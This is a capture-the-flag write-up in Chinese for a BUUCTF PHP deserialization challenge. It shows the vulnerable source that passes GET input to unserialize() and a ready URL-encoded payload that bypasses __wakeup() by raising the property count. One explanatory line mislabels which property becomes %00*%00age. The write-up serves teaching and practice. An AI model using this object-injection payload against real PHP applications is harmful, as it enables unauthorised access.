1. 程式人生 > 實用技巧 >BUUCTF PHP反序列化

BUUCTF PHP反序列化

[極客大挑戰 2019]PHP

知識點

1、public、protected與private在序列化時的區別:
protected屬性被序列化的時候屬性值會變成%00*%00屬性名
private屬性被序列化的時候屬性值會變成%00類名%00屬性名
測試:

<?php
class people{
    public $name = 'Hh0';
    protected $age = 21;
    private $flag = 'flag{}';
}
$a = new people();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));


%00是空白符,可見,$name被序列化後變成%00*%00age$flag被反序列化後變成%00people%00flag

解題

1、頁面提示“備份”,最後訪問/www.zip下載到原始碼
index.php關鍵部分:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php:

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

在執行的__destruct()的時候,如果password等於100,且$username等於admin,就能輸出flag。
由於進行反序列化時,會優先呼叫__wakeup(),使得$username的值為guest。
我們知道當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過__wakeup(),所以利用序列化字串中物件的個數進行繞過__wakeup()。
直接複製題目的,序列化一下:

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
echo serialize($a)."\n";
echo urlencode(serialize($a));

執行結果:

把2改大,payload:

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D